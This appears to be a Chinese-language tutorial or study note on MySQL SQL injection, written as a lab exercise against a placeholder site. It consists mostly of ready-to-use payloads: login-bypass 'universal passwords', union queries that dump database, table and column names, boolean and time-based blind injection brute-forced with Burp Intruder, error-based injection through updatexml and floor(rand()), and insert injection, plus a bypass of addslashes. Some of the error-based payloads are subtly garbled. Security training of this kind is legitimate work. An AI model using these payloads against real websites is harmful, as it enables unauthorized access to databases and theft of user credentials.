SQL注入
万能密码
万能密码漏洞分析
基本知识:
mysql注释的几种方式
1 单行注释可以用"#"
2 单行注释的第二种写法用 "-- " 注意这个风格下"--【空格】" 也就是说“--" 与注释之间是有空格的
3 多行注释可以用/**/
举例
xxx' or 1#
user_name=xxx' or 1#&user_pass=123123123
欢迎:111
第一种形式
'or'='or'
直接测试
xxx' or 1#
xxx' or 1; -- aaaaa
第二种形式
截断绕过 %00直接截断后面的
11'or 1;%00/*
user_name='or 1=1;%00/*&user_pass=111
user_name='or 1=1;%0011111118&user_pass=111
漏洞修复 过滤字符串
防御的技巧:
addslashes
该函数会将'转义 可以对'进行url编码绕过 user_name=%27or 1#####&user_pass=111
mysqli_real_escape_string
联合注入 union
order by 爆破字段数 因为order by是按照字段排序 可以猜测字段数目
假设字段数目为2
union联合查询要求是左右两边的查询字段数相同
使用union联合查询检测信息回显位置
id=1 union select 1,2
union前面为假 显示后面的 前面的可以添加 and 1=2
由于页面只允许返回一行内容,所以我们修改参数1为-1,使需要查询的信息回返
id=-1 union select 1,2
id=-1 union select 1,database()
获取当前数据库名
id=-1 union select 1,group_concat(schema_name)from information_schema.schemata
获取所有数据库名
d=-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'
查询数据库sqli表名
union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'
获取flag列所有字段名
获取指定数据库的表的列的内容
union select 1,group_concat(flag) from sqli.flag
布尔注入 and or
三个重要函数
mid(str,3,1) 字符串截取 从第三个字符开始截取一个字符
ORD('a') 转换成ASCII码 97
Length('abc') 统计字符串长度 3
对比
select * from comment where text like '%a%' and 1;
select * from comment where text like '%a%' and 0;
http://www.a.com/search.php?search=1%' and 1 %23%23%23;
判断数据库的长度
http://www.a.com/search.php?search=1%' and (select length(database()))=12%23%23%23
12
http://www.a.com/search.php?search=1%' and ord(mid(database(),1,1))=100 %23%23%23;
猜测一下我们的数据库的各个字符串
参数数据库
12
http://www.a.com/search.php?search=1%' and mid(database(),1,1)='d' %23%23%23;
d
e
我们借助burp进行爆破
BurpSuite intruder attack-type 4种爆破模式
Sniper 单参数爆破,多参数时同一个字典按顺序替换各参数,总之初始值有一个参数不变
Battering ram 多参数同时爆破,但用的是同一个字典
Pichfork 多参数同时爆破,但用的是不同的字典
Cluster bamb 多参数做笛卡尔乘积模式爆破
http://www.a.com/search.php?search=1%' and mid(database(),1,1)=XXX
GET /search.php?search=1%25%27+and+ord%28mid%28database%28%29%2C2%2C1%29%29%3D100+%23%23%23%3B HTTP/1.1
1-12
爆破出来 database = demo_comment
demo_comment
获取表
http://www.a.com/search.php?search=1%' and (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() )= 3%23%23%23;
表个数 3
http://www.a.com/search.php?search=1%' and (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() )=3 %23%23%23;
爆破表的名字
(select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1 )= 5 # &password=333
ord(mid( "admin" ,1,1 ))= 'a'
ord(mid( (select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1 ),2,1 )) = 'd'
爆破字段
(select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e ) = 8
字段长度
(select Length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1 ) = 2
字段内容
(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1 ) = 'id'
( select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 1,1 ) = ‘username’
爆破用户名和密码
Select Length(concat(username,"-----",password)) from admin limit 0,1
( Select Length(concat(username,"-----",password)) from admin limit 0,1 ) = 16
(Select concat(username,"-----",password) from admin limit 0,1 ) = 'admin-----123456'
union 直接查询数据库 --
and or 实质也就是一个个字符进行猜测的
延时注入 sleep
sleep if 语法
if(2>1,2,0) 如果第一个条件成立 返回2 失败返回0
技巧总结
select * from student where id=1 union select 1,2,sleep(3),4;
select * from student where id=1 and sleep(5);
select * from comment where text like '%a%' and sleep(2);
select sleep(if(3>2,5,1));
select if(3>5,0,1);
获取数据库总数:
http://www.a.com/search.php?search=1%' and Sleep( if( (SELECT count(SCHEMA_NAME) FROM information_schema.SCHEMATA) = 7 ,0,5 ) )%23%23%23;
总结:
http://www.a.com/search.php?search=1%' and Sleep( if( Length(database()) = 9 ,0,5 ) )%23%23%23;
1%' and Sleep( if( Length(database()) > 3 ,0,2 ) )%23%23%23;
猜测长度
http://www.a.com/search.php?search=1%' and Sleep( if( Length(database()) = 12 ,0,2 ) )%23%23%23;
http://www.a.com/search.php?search=1%' and Sleep( if( Length(database()) =12,0,2 ) )%23%23%23;
猜测每一个字符串
http://www.a.com/search.php?search=1%' and Sleep( if( ord(mid(database(),1,1)) = 100 ,0,2 ) )%23%23%23;
跟布尔注入差不多,即使走布尔注入的思路即可。
报错注入 mysql查询报错
updatexml函数
select * from admin where admin_id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
1、暴数据库:
and(select 1 from(select count(),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.schemata limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)
http://www.a.com/search.php?search=1%' and (select 1 from(select count(),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.schemata limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a);%23%23%23####
2、暴数据表:
and(select 1 from(select count(),concat((select (select (select concat(0x7e,table_name,0x7e))) from information_schema.tables where table_schema=0x64656D6F5F636F6D6D656E74 limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)
3、暴列名:
and(select 1 from(select count(),concat((select (select (select concat(0x7e,column_name,0x7e))) from information_schema.columns where table_schema=0x64656D6F5F636F6D6D656E74 and table_name=0x7573657273 limit 1,1),floor(rand(0)2))x from information_schema.tables group by x)a)
4、暴字段:
and(select 1 from(select count(),concat((select (select (select concat(0x7e,字段名,0x7e))) from 库名.表名 limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)
总结起来,就是一套已经成型的公式,然后用普通注入的方法进行注入就好了
addslashes
insert注入
insert into comment(username,text,pub_date) values("111","xxxx",now());
insert into comment(username,text,pub_date) values("111",(select version()),now());
string 'insert into comment(username,text,pub_date) values('xxx',' '+(select user())+' ',now())' (length=80)
'+(select user())+'
'+(select database())+'
判断有 insert 注入
string 'insert into comment(username,text,pub_date) values('xxx',''+(select user())+' ',now())' (length=86)
1 判断数据库的长度
'+(length(database())=10)+'
htmlentities < > &
string 'insert into comment(username,text,pub_date) values('xxx',''+(length(database())=10)+' ',now())' (length=97)
'+(length(database())=10)+'
string 'insert into comment(username,text,pub_date) values('xxx',''+(length(database())=10)+' ',now())' (length=94)
'+(length(database())=12)+' 1
数据库的长度是12
2 猜测数据库
demo_comment
100
'+(ord(mid(database(),1,1)) = 100)+'
'+(ord(mid(database(),1,1)) = 100)+'
根据结果判断真假 1的话为真 说明数据库的第一个字符就是d 0的话为假
demo_comment